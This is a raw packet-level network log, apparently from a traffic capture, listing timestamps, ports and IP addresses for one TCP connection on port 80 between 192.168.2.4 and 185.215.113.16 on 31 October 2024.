Oct 31, 2024 23:37:19.726353884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726365089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726375103 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726386070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726397038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726404905 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726407051 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726419926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726421118 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726432085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726449966 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726474047 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726483107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726491928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726504087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726514101 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726524115 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726532936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726540089 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726545095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726562023 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726572990 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726583004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726587057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726587057 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726594925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726607084 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726617098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726620913 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726633072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726643085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726655006 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726655006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726666927 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726666927 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726696968 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726839066 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726850033 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726861954 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726871967 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726883888 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726892948 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726902962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726912022 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726912975 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726926088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726937056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726948023 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726954937 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726965904 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726974964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726977110 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.726984024 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.726994991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727006912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727016926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727020025 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727035999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727040052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727072001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727119923 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727129936 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727140903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727150917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727160931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727161884 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727173090 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727190018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727211952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727212906 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727222919 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727236032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727246046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727255106 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727260113 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727267027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727291107 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727330923 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727360010 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727371931 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727380991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727405071 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727421999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727432966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727441072 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727451086 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727456093 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727463961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727468967 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727475882 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727488041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727497101 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727500916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727530956 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727602959 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727612972 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727622032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727632999 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727642059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727658987 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727824926 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727835894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727847099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727860928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727873087 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727875948 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727884054 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727896929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727907896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.727912903 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727941036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.727988005 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728002071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728013039 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728023052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728034019 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728034973 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728044033 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728046894 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728059053 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728071928 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728075981 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728087902 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728096008 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728096962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728108883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728118896 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728125095 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728130102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728137016 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728144884 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728157043 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728164911 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728168011 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728194952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728204966 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728210926 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728216887 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728220940 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728256941 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728285074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728300095 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728311062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728319883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728331089 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728342056 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728343964 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728362083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728396893 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728544950 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728555918 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728564978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728580952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728585958 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728593111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728604078 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728610039 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728615046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728626013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728636980 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728640079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728650093 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728657961 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728682995 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728683949 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728694916 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728705883 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728715897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728727102 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728733063 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728770018 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728804111 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728816032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728826046 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728841066 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728867054 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.728961945 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728976965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.728991985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.729001045 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.729013920 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.729041100 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.729285955 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.729332924 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.729343891 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.729352951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.729373932 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.729392052 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.748809099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.773572922 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773585081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773596048 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773650885 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.773780107 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773791075 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773801088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773816109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773827076 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.773829937 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.773858070 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.773866892 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841267109 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841279030 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841289997 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841330051 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841507912 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841520071 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841530085 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841542006 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841576099 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841661930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841672897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841682911 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841695070 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841706038 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841707945 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841717958 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841730118 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841732979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841758013 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841769934 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841793060 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841804028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841814041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841825008 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841836929 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841845036 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841850042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841857910 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.841862917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.841885090 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842092991 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842103004 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842113018 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842123985 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842128992 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842159986 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842226028 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842236996 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842247009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842258930 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842268944 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842269897 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842282057 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842289925 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842293978 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842305899 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842307091 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842323065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842329979 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842334032 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842345953 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842355013 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842356920 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842375994 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842386961 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842397928 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842401028 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842410088 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842417002 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842426062 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842428923 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842437983 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842449903 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842459917 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842459917 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842484951 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842488050 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842510939 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842523098 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842530012 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842534065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842546940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842566013 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842576027 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842588902 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842608929 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842870951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842880964 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842890024 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.842930079 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.842997074 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843008041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843018055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843029022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843039989 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843050003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843054056 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843063116 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843096972 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843108892 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843121052 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843131065 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843143940 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843156099 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843166113 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843190908 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843215942 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843219042 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843230963 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843240976 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843300104 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843323946 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843337059 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843347073 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843358040 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843384027 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843404055 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843415022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843425035 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843447924 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843616009 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843626022 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843636036 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843647003 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843657017 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843667984 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843671083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843671083 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843678951 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843694925 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843698025 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843705893 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843715906 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843723059 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843727112 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843738079 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843739986 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843755007 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843756914 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843767881 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843780041 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843786001 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843791962 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843810081 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843810081 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843857050 CET	49739	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:37:19.843889952 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843899965 CET	80	49739	185.215.113.16	192.168.2.4
Oct 31, 2024 23:37:19.843909025 CET	80	49739	185.215.113.16	192.168.2.4
